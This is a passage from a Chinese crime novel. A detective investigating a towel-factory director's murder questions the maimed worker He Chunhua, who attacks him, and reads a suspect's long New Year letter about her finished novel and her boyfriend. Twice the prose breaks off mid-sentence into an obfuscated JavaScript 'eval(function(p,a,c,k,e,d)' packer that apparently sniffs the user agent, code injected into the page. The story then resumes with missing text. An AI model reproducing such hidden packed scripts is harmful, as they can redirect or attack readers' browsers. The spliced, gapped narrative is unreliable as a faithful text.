“行,我空了打给你。小孔啊,当哥的劝你一句,你要是家里能支持本金也出来做生意吧,我出来才知道钱原来这么好赚,以前守在警局里拿死工资真是坐井观天啊!”挂电话前老宋谆谆教诲,传授“下海”经验,“小孔啊,你要是也来北京记得来找我,哥给你接风洗尘!” “哎好好好,有机会一定,生意兴隆啊!” 挂了电话,耳朵边一下子安静下来。 离开毛巾厂的时候孔孝贤回头看了一眼,工厂左边的墙壁上用油漆涂了大字“安全生产责任重于泰山”,右边是“好未来,共同创造辉煌”。夕阳的余晖照在墙上红色的大字上,照在一条条流水线上密密麻麻的生产机器上。 9. 何春华 回局里看笔录到晚上十一点多,孔孝贤实在撑不住了,守着座机趴着眯了会儿。 “叮铃铃!”电话铃声响起的时候孔孝贤正在做梦,明明在梦里很清醒,醒过来却什么都不记得了。铃声响到第四遍他才从浑噩里清醒过来,抹了把脸抓起话筒:“喂,老宋。” 电话那头却不是老宋,是一组的一个同事,拜托他帮忙看看有份材料鉴定科送过来了没有,要是送到了就过来加班干活。 这个同事是局里出了名的“刺头”,能准点下班绝不多呆一分钟,没少被领导点名批评。孔孝贤和他平时关系还不错,忍不住调侃:“什么案子啊,弄得你都肯加班了?” “一个诈骗案,折腾死我了。”对方大吐苦水,“真不知道这帮人哪儿想出来的这么多鬼点子,有这脑子干点什么不好非得去违法犯罪!现在不是很多下岗工人要再就业吗,就骗他们说只要交钱就可以介绍工作,下岗工人急着赚钱养家糊口,一骗一个上钩,等发现不对去要钱的时候人早溜了。我现在在抓的这个诈骗团伙,至少骗了上百人了,很多是把积蓄全掏出来就想找份好工作,这下什么都没了,真是造孽。” 孔孝贤用肩膀夹着话筒,摸出打火机点烟,尼古丁刺辣辣灌进鼻子,人总算清醒了一点:“有把握抓到人吗?” “不好说,这帮诈骗犯个个跟属耗子似的到处乱窜,好几次好不容易逮着耗子尾巴了又给逃了。行了不跟你多说了,快帮我看看鉴定科东西送过来了没,要没送过来我就接着睡了。” “好你小子,”孔孝贤笑骂,“就知道使唤我是吧!” 把烟往耳朵上一夹出去看,结果材料居然还没送到,老天不长眼,注定他今晚要在局里孤军奋战。一组同事幸灾乐祸祝福他“早日破案升职加薪”,挂了电话美滋滋睡觉去了,气得孔孝贤对着话筒里的忙音破口大骂。 抽完烟洗了把冷水脸继续看笔录,看来看去实在看不出来什么东西,放旁边把孙依萍和袁冰心互通的信件拿了出来。在孙依萍和何春华的出租屋找到袁冰心寄给孙依萍的信后,孔孝贤又去袁冰心家拿到了孙依萍写的信,之前忙着消化老宋留下来的笔录材料,还没时间仔细看。 连着翻了七八封信,越看他越觉得孙依萍不可能是凶手,这样一个满脑子都是文学、摇滚音乐、动画片,满脑子都是她的作家梦和罗曼蒂克的浪漫生活的人,怎么可能会杀人? 李松涛没接触过女性杀人犯,孔孝贤是接触过的,还是刚毕业进警局负责的第一件案子,凶手叫范丽华,是一个四十多岁的文盲农村妇女。范丽华常年遭受丈夫的殴打和性暴力,有天在丈夫气喘吁吁揍完她和儿子后,她走进厨房拿菜刀砍死了丈夫,冷静地和儿子一起把丈夫分尸后扔进家后面的粪坑。 那时候孔孝贤还嫩着呢,范丽华丈夫的遗体挖出来没憋住哇哇吐了一地。他记得范丽华的眼睛,审讯的时候他经常会和范丽华的眼睛对视,他那个时候经常感觉到一种——像读书时候老师要求读名家名篇,他读到一些不理解为什么故事情节要这么发展的时候的魔幻感,一种不真实的感觉。这样一双纯真的、朴实的、农妇才有的眼睛,怎么做到面不改色地砍死丈夫,一个过去十几年对自己生活的完全掌控者,再剁成一滩烂泥?当时范丽华在行凶的时候,她在想什么,她那双纯朴的眼睛里看到的又是什么? 如果孙依萍真的是杀人犯,一定发生了什么他没有查到的事情。 到天亮老宋的电话也没来,估计是开饭店钞票数得太开心,把案子的事忘到脑后去了。孔孝贤等不下去了,胡乱揉了把乱草窟一样的头发扔开看了一夜的证物,捏了捏酸痛的脖子,扶着昏昏沉沉的脑袋出去吃早点。 开门冻得人一哆嗦,经过警局大门的时候他看见玻璃门上倒映着的自己的脸,像个熬夜苦读结果还是考了不及格的倒霉蛋差生,路过的流浪狗都比他脸色好看。 凌晨五点多的羊城不算太热闹,冬天早市开得晚,孔孝贤到的时候卖早点的都刚开始热锅子,来吃早点的小猫三两只,稀稀拉拉坐在塑料凳子上等出锅。 孔孝贤爱吃面,随便找了家做面条的点了碗葱油拌面。和袁冰心相亲约在那家老面馆倒不是故意膈应人,那家店他经常去吃,味道不错的,结果人家好心当作驴肝肺,他果然和这种文艺女青年完全合不来。 想到袁冰心就又想到孙依萍,她们俩做了快三年的笔友,孔孝贤看孙依萍的信的时候顺便翻了翻袁冰心写的信,两个人可以说是相见恨晚,袁冰心做笔录的时候说“她简直就像是活在世界上的另一个我”一点也没有夸张。不是他说什么,以他对袁冰心这种人的了解,他明天会和袁冰心结婚的概率都比袁冰心会杀人的概率高点。 “小伙子,侬伐要发呆了,吃面咯!”老板端了热腾腾的面上来,看他穿着警服又愁眉苦脸的,“工作是做不光的,啥么事体都没有吃饭要紧,趁热快点吃,凉了面要糊特了!” “是额是额,谢谢谢谢。” 孔孝贤从筷筒里抽了双筷子出来吃面,天冷面条烫,冒出来的白色雾气糊了满脸。等吃完面冻僵的手脚都暖和起来了,他付了钱掀开塑料帘子出来,这时候快六点钟,早市上人开始多起来了,一下子吵闹起来,叫卖的声音,揿自行车铃铛的声音,热闹得像一锅突然烧开的沸水。 冬天天亮得晚,这会儿天还没完全亮,东边亮了半边天,西边还是深蓝色的,像毛巾厂的吸热玻璃那种又深又薄、透亮的蓝。亮着的那半边天是很浅的黄色,太阳还没升上来,暗着的半边天还能看到月亮圆溜溜的、浅浅的影子。 肚子填饱了人也精神了,孔孝贤从警局出来的时候还在想老宋这次真是把他坑惨了,琢磨着孙依萍这边实在找不到突破口,要不直接去找李松涛认输吧,死要面子活受罪,积极承认自己不服从领导决策的错误,老老实实跟着李松涛一起去查毛巾厂内部得了。 现在吃饱喝足牛脾气就又上来了,想到李松涛那副趾高气昂的模样就火大,想想决定还是最后再努力一把。 …… 何春华长着一张工厂里流水线上的工人司空见惯的一张脸,小时候干农活脸晒得黝黑发亮,初中没毕业就辍学离开家乡外出打工,年轻的脸庞上还不算太深的沟壑里,盛放着多年漂泊和劳作带来的与这个年轻人年龄不相符的成熟和沧桑。 孔孝贤到的时候护士刚查过房,病房的门正好开着:“何先生,您好,我姓孔,是负责蒋厂长被杀案的警察,有几个问题想要跟您了解一下。”他敲了敲敞开的房门,说。 病房闹哄哄的,不到二十平的地方满满当当塞了八张病床,还有陪床的家属打地铺,到处堆着病人和家属的杂物,孔孝贤跨进去落脚都困难。 何春华的病床在靠窗的位置,他裹着被子背靠床板坐在病床上,眼睛看着窗外。他和照片上长得不太像,瘦了非常多,蓝白相间的病号服穿在身上松松垮垮的。右胳膊手肘以下的袖管空空地晃荡,听医生说关节没能保住,剩下半截光秃秃的大臂,让孔孝贤想起电视机上放的节目《动物世界》里非洲大草原上折断了獠牙的公鬣狗。 听到他的话何春华抬起头,看了他一眼又扭头看向窗外。孔孝贤顺着他的目光看去,羊城的冬天没什么风景,窗外只有两棵掉光了叶子的梧桐树,还没到发芽的时间,就看见光秃秃的枝桠被呼呼冷风吹得抖了三抖。 “警察同志,依老早醒了,不港话的。”旁边病床是个四十多岁的中年妇女,拽了下他警服的袖口,“小伙子,侬跟我港港看,依是伐是犯了什么事体了?” 1月29日下午何春华在毛巾厂上工时发生意外后,厂长蒋振东立刻让车间领班开车把何春华送到羊城最好的团结医院。幸运的是截肢手术非常顺利,术后何春华一直处于昏迷状态,前天医院就打电话过来说人已经醒了,但是一直不肯开口说话。 老宋留给孔孝贤的调查资料里有何春华的档案材料,他出生于南方一个小地方的农村,是家里第六个孩子,底下还有个妹妹,孩子多家里又穷,何春华又性格沉闷不讨喜,父母把他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这给了孔孝贤一点可怜的信心,他再接再厉:“您对厂长蒋振东有什么意见吗?” 何春华的眼睛重新挪回了那块黑渍上。 孔孝贤放缓语气,换着方式试图循循善诱让何春华开口,但他就是不肯回答这个问题。磨了大概有十几分钟,孔孝贤劝得口干舌燥,何春华跟块木头雕塑一样纹丝不动,完全不配合。 进来的时候医院接待人员用一次性塑料杯倒了两杯温水放在桌上,何春华面前的塑料杯没动过,孔孝贤的还剩大半杯,他拿起来一口全喝干了。 缓解了一下郁卒的心情,他想了想,换了个问题:“何春华,你相恋三年多的女友孙依萍2月1日下午离开团结医院后失踪,4日好未来毛巾厂厂长蒋振东在家被人连捅八刀,当场死亡。据负责你病房的护士说,2月1日下午你曾经短暂清醒过,和当时陪床的女友孙依萍有过将近十分钟的对话,之后你重新陷入昏迷,孙依萍则离开团结医院并就此失去踪迹。何春华,你知道孙依萍现在在哪里吗?” 说到一半的时候何春华就有了不一样的动静,在听到孙依萍的名字的时候,他几乎在一瞬间就把视线快速地转了过来,看过他之前跟生锈的木偶人一样动作的人完全无法想象他竟然可以这么灵活,活像一头从棺材板里突然诈尸的僵尸。 接着他的表情越来越激动,越来越狰狞,他眼睛里庞大的空洞像是突然被什么东西填满了,突然活了过来。直到孔孝贤最后一句“你知道孙依萍现在在哪里吗”话音落地,何春华一下子从椅子上站了起来,动作矫健得正如那头非洲大草原上的公鬣狗,塑料凳子发出“滋啦”一声和地面摩擦的尖响。 在孔孝贤的眼睛里一切像是慢放的默剧,他看见何春华的脸孔已经狰狞到变形,像是高中美术书上那幅爱德华·蒙克的著名画作《呐喊》。他这么想着的时候,何春华真的发出了一声声嘶力竭的呐喊,甚至可以说是尖叫,像长满锈的铁块在水泥地上拖过去的声音,又像是那个从画里跑出来的痛苦至极的呐喊者:“啊——!” 然后他扑向孔孝贤,挥舞着拳头,恶狠狠地砸下去。 10. 第十四封信 真真: 见信如晤。 新年好!我写下这几个字的时候是除夕晚上的十点半,外面鞭炮声震天响,还有“砰砰砰”在天上炸开来的烟花,绚烂得要命。 在给你写信之前我刚刚写完了《墙》的最后一章,30万字整凑个圆满,整整三年零十个月。写完整篇小说的最后一个字,写完结尾的落款时间“1998年1月27日”,我突然感觉到一种巨大的空虚,觉得自己的少女时代仿佛都落幕了。虽然我其实早就不再是少女,但那一瞬间我突然顿悟:我少女时代做了这么多年的那么宏伟的、盛大的、漫烂的梦,到今天,到此时此刻就这样彻底地结束了。 不知道你在处女作最终完成的那天是否会有同样的感受?从十二三岁就心心念念要写成功一本长篇小说,整个少女时代都沉浸在数不尽的幻想和对自己未完的处女作的畅想之中,到此刻终于大功告成,心里当然有对漫漫长征终于走完的喜悦、对胜利的喜悦,但更多的却是对一场漫长的、瑰丽的梦落幕的怅然。我想,我以后一定还会继续写作,但可能再也不会有创作《墙》时的这份心情,那种青涩的,对第一次的跃跃欲试,对第一次的小心翼翼,对第一次的畏难但又对“它”未来无限可能的期待,这样的心情,简直像夏娃和亚当偷吃下伊甸园的禁果时的心情,以后再也不会有了。 古人讲“欲买桂花同载酒,终不似少年游”,十几岁初读时不懂这句话的意思,现在忽然就明白了,我此时此刻的心情大抵亦是如此。 我仔细考虑过你的建议,我也觉得如果结局改成阿比盖尔把所有收集到的故事汇编成书,遇到贵人成功出版自己的著作并一夜成名,最后成功摆脱贫困、实现梦想,《墙》更有可能被出版社看中,毕竟人们总是更喜欢喜剧结局。但可能是骨子里的叛逆在作祟,我考虑了很久,最后还是决定按照我最初设想的结局来: 阿比盖尔终于把听来的好故事写成书,他把所有的积蓄都花在了买纸笔上,没钱乘巴士,只好抱着厚厚一沓稿纸走路去最近的出版社投稿。在离出版社只剩一条街的地方,已经能隐隐约约看见出版社建筑的尖顶,这时阿比盖尔忽然被飞驰而过的小轿车撞飞。四散的稿纸飞舞着飘落在血泊里,稿纸上的雪白和工整字迹逐渐被血色淹过,再看不出原来的样子。 我设想过很多个版本的全文的最后一句话,结果最后一个也没用上,写到最后我的笔仿佛不再受我自己的控制,仿佛这部小说在一瞬间有了自己的灵魂一样。我称之为“作品之灵”的驱使,就在这样不听我使唤、自顾自发展的剧情的驱使下,我写下了《墙》这篇整整三十万字的处女作的最后一句话: “总之,阿比盖尔·道格拉斯的一生就这样结束了。” 写完这句话以后我坐在书桌前发了整整一个钟头的呆,连春华进来叫我出去放烟花都没听见。我第一次开始思考自己为什么要给阿比盖尔安排这样一个悲剧的、戛然而止的,甚至可以算得上荒谬滑稽的结局。之前我只是顺从一闪而过的灵感的指引,本能地觉得这个结局更适合阿比盖尔,从来没有仔细思考过自己为什么会这么想。 我想了很久,觉得可能别说《墙》里的其他人物,连我自己都不相信阿比盖尔真的会成功,因为看呐——阿比盖尔虽然是大学生,但他上的只是会识字的人都能上的社区大学,而且他学的专业是天文而不是文学,更何况他刚读到大学二年级就因为没钱支付学费而辍学了,他完全没有接受过文学方面的教育,几乎不可能写出什么一鸣惊人的作品。而他作品的内容,几乎全是穷人诉说苦难的故事,有钱买得起小说的人怎么会喜欢看穷人的牢骚呢?这几乎注定了他就算抵达了出版社,也一定会被编辑们拒之门外。 但如果结局只是这样,那就太寡淡乏味了,阿比盖尔这个角色也就褪色一般失去了他应有的魅力。所以我选择让他死在离出版社最近的那条街,心里满怀期待的,读到此处的读者心中也对他是否能成功得到出版社认可这一悬念充满好奇的,让他戏剧化地死在一场意外的车祸中。 至少死在这一刻,死在敲响出版社大门前的那一刻,阿比盖尔仍然是那个为了心中的理想为之不顾一切地努力,不顾他人的嘲笑和鄙夷的目光,不顾生活的窘迫、身体上的病痛,只要死在出版社大门之外,他就仍然是那个为了理想而战斗,为理想而牺牲的“英雄”——而不是一个怀才不遇,落魄终生的流浪汉。 最后也只能用干巴巴一句“总之,阿比盖尔·道格拉斯的一生就这样结束了”作尾,再找不到其它话可以来描述他了。 想到这里的时候我忽然醒悟:我的命运又会和阿比盖尔有什么不同呢?我和阿比盖尔一样贫穷,一样出生不幸,甚至比阿比盖尔更早就辍学了,一样的热爱创作却郁郁不得志,我的结局是不是也注定和阿比盖尔的雷同呢?我忽然意识到自己在塑造阿比盖尔这个人物的时候,原来我真正想写的其实是我自己。 真真,说实在的,我现在已经不太对《墙》能够真的出版抱以希望了,我一直没好意思告诉你,其实从前年春天到现在我一直在给各地不同的出版社投稿,一共投了二十家,全部被拒稿了。虽然之后我一定还会继续努力地投稿,但我内心深处其实已经快要放弃自己的作家梦了。 春华劝我说不可能第一部作品就名声大噪的,历史上多的是怀才不遇的文人,让我坚持下去,坚持写作,坚持努力,只要不放弃总有一天能实现梦想的。我接受了他这个说法,倒不是因为被春华的这番说辞所打动,而是因为在接连投稿失败的沮丧之后,我再次提起笔来的时候,发现自己仍然热爱着创作,我的创作热情并没有因为作品无法出版而轻易熄灭。我想,虽然作家梦可能这辈子也实现不了,至少从现在看来怎么也是遥遥无期,但至少我依然在写,依然坚持写到今天圆满地完成了我自己心目中最好的处女作,并且准备永远地写下去。现在的我并没有和少女时候所期待的长大后的自己大相径庭,我仍然坚定地走在为自己设想好的道路上,既然这样,那我就没有失败,今天顺利完成《墙》的写作的我就是成功的。我没有失败。 讲到春华,真真,你知道我现在在哪里边给你写信,边欣赏窗外炸开的烟花吗?我现在不在羊城的小出租屋里,我在春华的老家,南方的一座村庄,春华想跟我订婚,所以把我带来了这里。 春华和家里人的关系其实也算不上太好,今年春节他的兄弟姐妹甚至没有到齐,有一个哥哥一个妹妹没回家在外打工,春华说和他们已经五六年没有联系了。春华的母亲在他十三岁时走夜路跌河里淹死了,父亲给他娶了个后妈,不指望后妈能怎么样,但我13号就来这里了,三天里他父亲跟春华说过的话不超过十句。 冷漠,我只感觉到这个家庭非常冷漠,不止做父亲和做后妈的对孩子们很冷漠,兄弟姐妹之间也很冷漠。好像他们不是因为亲情的纽带才在新春佳节聚集在一间屋子里,而是因为什么约定俗成的任务,用春华的话说,就像他去网吧打游戏,游戏里的角色因为同一个系统颁布的任务聚集在一起一样。 待在这个屋子里让我觉得非常难受,特别是坐在一张桌子上吃饭的时候,春华的兄弟姐妹还特别的多,再加上后妈带来的两个孩子,圆桌上满满当当坐了十个人。这么多人坐在一起,又是春节这样的喜庆日子,明明应该是热热闹闹的,然而大家面对面地坐着却几乎不说话,每个人都在机械地进食,就好像一圈没有表情、按照系统设定一次又一次举筷子的机器人。春华的后妈做饭其实挺好吃的,色香味俱全,明明热腾腾、香喷喷的饭菜吞进喉咙里,却觉得好像变成了一块冰冷的石头在我胃里来回翻滚,令人作呕。 这种厌恶让我更加佩服春华了,这样的家庭居然能够诞生出这样一个温柔、纯善的孩子,可见他的本性是多么的纯白啊! 我是不是没跟你讲过我和春华的初遇? 快三年前的事情了,那时候我还太年轻,刚到羊城人生地不熟的,找工作处处碰壁。好不容易遇到一个愿意给我介绍工作的“好心人”,结果是个骗子,也是我那时候太傻,身上仅剩的积蓄全部被骗了个精光,连吃饭钱都没有了。 那时候真是想死的心都有了,抱着脑袋一屁股坐在马路牙子上哭,悲哀自己的命运,痛恨自己的愚蠢,迷茫自己的前路。 差不多哭完的时候听见前面传来小孩子的笑声,特别神奇,前一秒我还在想实在活不下去干脆死了算了,下一秒听到小朋友稚嫩的、鲜活的、像初春的新芽一样明媚的欢笑,忽然我就不想死了。 我抬起模糊泪眼的时候,就看见二十米开外的地方支着一个水果摊,不知道是不是水果销路不好,还顺带卖气球。五颜六色、各式各样的气球系在摆水果的折叠塑料桌的桌腿上,被风吹得挤挤挨挨,活泼地推来攘去。水果摊主大概为了哄小孩,鼻子上戴着圆圆的红色小丑鼻子,他胳肢窝里夹着打气筒,笑眯眯给面前三四个兴奋得脸都红了的小朋友扎气球。我因为流眼泪没太看清楚,好像用橙色的气球扎了只小狗。 小朋友的笑声,水果摊主滑稽的小丑鼻子,还有橙色的小狗气球,这些司空见惯的、美好的东西拯救了我当时悲伤到极点的心情。 等我平复心情,爬起来准备在天黑前再试试看找工作的时候,就看见那个水果摊主,也就是春华,他不知道什么时候走到了我面前,左手捏着一只画着笑脸黄色气球,右手手端着一个一次性塑料杯。塑料杯里塞满了削好的水果丁,有桃子、苹果、梨,果肉五颜六色的,装在透明的塑料杯里出奇的好看。他说他早就看见我在路边哭,没敢过来打扰我,请我吃水果杯,又送我笑脸气球,说希望我能有好心情。大概怕我不好意思收,还特意告诉我这些水果丁都是坏了的水果上切下来的,本来就卖不出去。 春华是不是特别温柔?这是我最喜欢他的地方,所以来这里之前我真的很难想象他的家人会这么冷漠,这么的令人生厌。 不过这座村庄是美的,在春华家待不下去的时候,我会拉着他出去走走。冬日的村庄别有一番景致,干枯的香樟树、水杉,还有许多我叫不出名字的树木,它们干枯的枝桠错落交叉在一起,不觉得萧条,反而感觉到一种别样的凌乱的美。我觉得最美的还要数村庄里的小水沟,春华家门前就有一条,用来洗衣服、洗菜。昨天清晨我和春华出门逛的时候,正好是个大晴天,蓝天白云倒映在清澈的水沟里,水面被风吹得微晃。再加上旁边树枝草木的半遮半掩,小小的方寸之地反而有一种西湖、鄱阳湖都没有的梦幻之美,乍一看简直像一副油画一样。 还有声音,村庄里的声音也是特别的,不像城市的清晨那么安静,村庄的清晨有鸡鸭鹅零碎的啼鸣,还有时不时传来的狗叫,风吹过树梢的声音,人不小心踩到地上枯枝的声音。少了城市里汽车的轰鸣声,乡村里这些细碎的小声音更让人觉得内心安宁下来。 今年没有下雪,春华说要是下了雪更漂亮,我想象得到那会是怎样的一副美景。 这里和我从小长大的地方很像。你知道我父亲早逝,母亲改嫁,哥哥又远走他乡很多年没联系过了,因为家里这堆乱七八糟的事我很久没有回过老家了。我其实很喜欢乡村的风景,要不是这次春华带我回他家,我都快忘记了自己原来是如此地着迷着村庄的风景。这么一想我也不能太过苛责春华的家庭,至少他还有家可归不是吗? 对了,你之前问我为什么给这部小说取名叫《墙》,为什么要让阿比盖尔和讲故事的人中间隔着一面墙,除了遮掩彼此的身份,还有什么深意?之前回信的时候我说自己也没太想好,只是觉得取这个题目、这么安排情节很有意思,现在我想我已经想明白了。 高中语文老师邓老师曾经讲解过法国哲学家让保罗·萨特的一句名言,我特别喜欢,萨特说:“他人即地狱。”邓老师说这句话有三层意思:第一层,也是最表层的意思,即如果你不能正确对待他人,那么他人便是你的地狱;第二层,如果不能正确对待他人对你的判断,那么他人的判断就是你的地狱;第三层,如果你不能正确对待自己,那么你将会成为自己的地狱。 我非常喜欢这三层解读,特别是第二、第三层意思,让我有了很大的感悟。因此在创作时也带入了这一思想,阿比盖尔和讲故事人之间的墙,不只是物理意义上的墙,更指的是人与人心灵之间的那堵墙。别人无法理解阿比盖尔的怪异行为,同样的阿比盖尔也无法理解别人为什么不能理解自己,人永远无法理解他人。我始终觉得,无论什么时代,无论这个人是什么身份,无论贫富贵贱,萨特这句“他人即地狱”是适用于众生的。 意识到我究竟为什么以“墙”为题后,我也在不断地提醒自己,尽量不要做一个背负三重地狱的人,如果实在做不到,哪怕少背负一两重地狱也是好的。尤其是第三重地狱,哪怕我无法正确对待我的家人、我的恋人,哪怕我无法接受出版社的编辑们不约而同地拒绝了我自认为还不错的处女作,但至少我要能够完整地接纳我自己,接纳这个不完美却也熠熠生辉的自己,就像阿比盖尔那样。无论发生什么,我都得好好地爱自己,至少至少,我不能成为自己的地狱。 真真,不知道等你完成处女作的那一天会是怎样的情景?我想,无论别人如何评价我们的作品,只要我们还热爱写作,只要我们还在坚持,胜利女神就是站在我们这边的。祝你我都能坚定地走在理想的道路上。 好了,再过几分钟就零点了,我该去放鞭炮守岁了,春华已经来叫我好几次了。这封信就写到这里,虽然你收到信的时候可能春节已经过了,但我还是得再说一声:真真,新年快乐! 祝你天天开心。 秋实 1999年1月16日 - 孔孝贤合上信纸,塞回信封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孔孝贤想起刚才读的那封信,很难想象孙依萍笔下那个会逗小孩子开心,会用气球和水果地安抚悲伤的陌生人,这么温柔纯良的人会变成现在这个样子。 “算了,”他对院方领导说,“我不报案了,这件事就当没有发生过吧。麻烦你们好好治他两只手,何春华是案子非常重要的证人,希望他能早日康复。” 好未来毛巾厂厂长被杀案一定有什么别的隐情,何春华嘴里看来是暂时问不出来了,得找其它办法。 BB机收到老宋消息的时候他正准备离开医院,赶紧借了团结医院的座机接电话。电话那边信号又是断断续续的,老宋还是用“大哥大”打的电话:“小孔,不好意思啊,昨天晚上实在太忙了,来店里吃饭的客人要扑出来了,回去一沾床就睡着了,刚刚睡醒。昨天你是不是问我毛巾厂那个案子?怎么,还没破啊,你小子不行啊,一个这么年轻的女杀人犯也找不到?” “老宋,”孔孝贤不自觉捏紧了话筒,问,“你当初是怎么判断出孙依萍是凶手的?表面上看根本找不到她的作案动机。” 老宋在电话那头支吾了一会儿,最后“害”了一声:“……反正我现在也不是警察了,没什么不能说的。小孔,我实话跟你说吧,当初我根本没有证据,我是凭直觉觉得那个姓孙的女人就是凶手。” 孔孝贤不禁吃了一惊:要知道老宋从警快三十年,错案率几乎为零,他向来宁愿破不了案也不会出现错案。在这个案子上居然在完全没有证据的情况下,全靠直觉就断定孙依萍是嫌疑人,而且他一定很确定自己的判断,才会直接报上新闻发动群众的力量抓人。这可是读警校的时候老师告诉他们严令禁止的行为,要是被发现绝对算违规,说不定还会被告上法庭。 “……我知道你在想什么,”电话那头,老宋的声音因为信号不稳定显得有些失真,“年轻人,办案不能只靠教科书上那些死板的东西,案子是活的,你永远不知道你会遇到什么样的案子,面对什么样的嫌疑人,必要的时候你不得不违规。以前这些话我不能讲,现在我能告诉你了。你们小年轻可能都觉得我们老警察的经验、直觉不管用,破案还是得靠证据,其实真的是有用的,有的时候就是这么不讲道理,直觉就是比所谓的证据更准。小孔,你还记得那个杀夫案吗?当时我也没有证据,但我就觉得被害人的老婆是凶手。所有人都觉得那个女人一直被丈夫打,肯定不会有杀夫的勇气,但我一看见他老婆的眼睛,我心里就知道,就是她。最后人抓来一问,果然就是她,一点没错。” 孔孝贤记得这件案子,甚至记得那个凶手,那位农村妇女的名字叫范丽华。他也记得范丽华的眼睛,给当时刚刚从警校毕业的他几乎直击天灵盖的震撼。 “你有没有看过那个姓孙的女人失踪之前,离开医院时候的监控录像?”老宋告诉他,“我就是看了这段监控觉得她是凶手的。你注意一下录像的最后两秒钟,她回头朝摄像头的方向看了一眼,她是知道摄像头在那里的,那一眼就是故意给监控背后的人看的,那眼神真是,啧啧。” 挂电话前老宋突然说:“小孔,你知道范丽华入狱后怎么样吗?” 鉴于范丽华杀夫前被害人刚刚殴打完范丽华和她只有十岁的儿子,且被害人长期对范丽华实施家庭暴力,最后法院判决范丽华犯过失杀人罪,判无期徒刑。出于孔孝贤自己也说不明白的心情,范丽华刚入狱的时候他还去探视过一次,她的精神很好,甚至比在监狱外的时候还要好一些。后来他开始独立办案忙于工作,就没再见过范丽华。 “去年年底她在监狱里用吃饭的叉子自杀了,”老宋说,“被逼行凶的女性罪犯最后大多会走这条路,我建议你快点找到那个姓孙的女人。” 回警局后孔孝贤在证物袋里找到了那盒监控录像带,黑白画面拍得不太清楚,录像开始的第3秒,孙依萍出现在了摄像头里,她穿着一件黑色的羽绒服,深色长裤,留着长头发,盖住了大半个背部,人不高,看起来一米六左右,看得出来很年轻。她先是在团结医院门口的台阶上站了一会儿,因为是背对着摄像头,看不见她的表情。原地站了将近三分钟,她像重新上了发条的玩偶一样动了起来,以比正常人步速略快的速度走下台阶,沿着离开医院的路向远处走去。 快要走出监控画面的时候,就像老宋说的那样,孙依萍忽然地、非常突兀地转头看过来——老宋没有说错,孙依萍一定是知道监控摄像头就在这里,她就是故意看过来的。之前只能看到她的背影,这是整段录像孔孝贤第一次看到孙依萍的正脸,她长得很清秀,白白净净的,要是孔孝贤在平时见到这样一张脸,一定会在心里吹个口哨惊呼一声“美女”。 孙依萍看向摄像头以后停顿了大概有5秒钟,然后她忽然扯了扯嘴角,皮笑肉不笑地朝镜头笑了一下,转身消失在了监控画面外。 “咔嚓”一声录像机上跳出黑白雪花,录像结束了。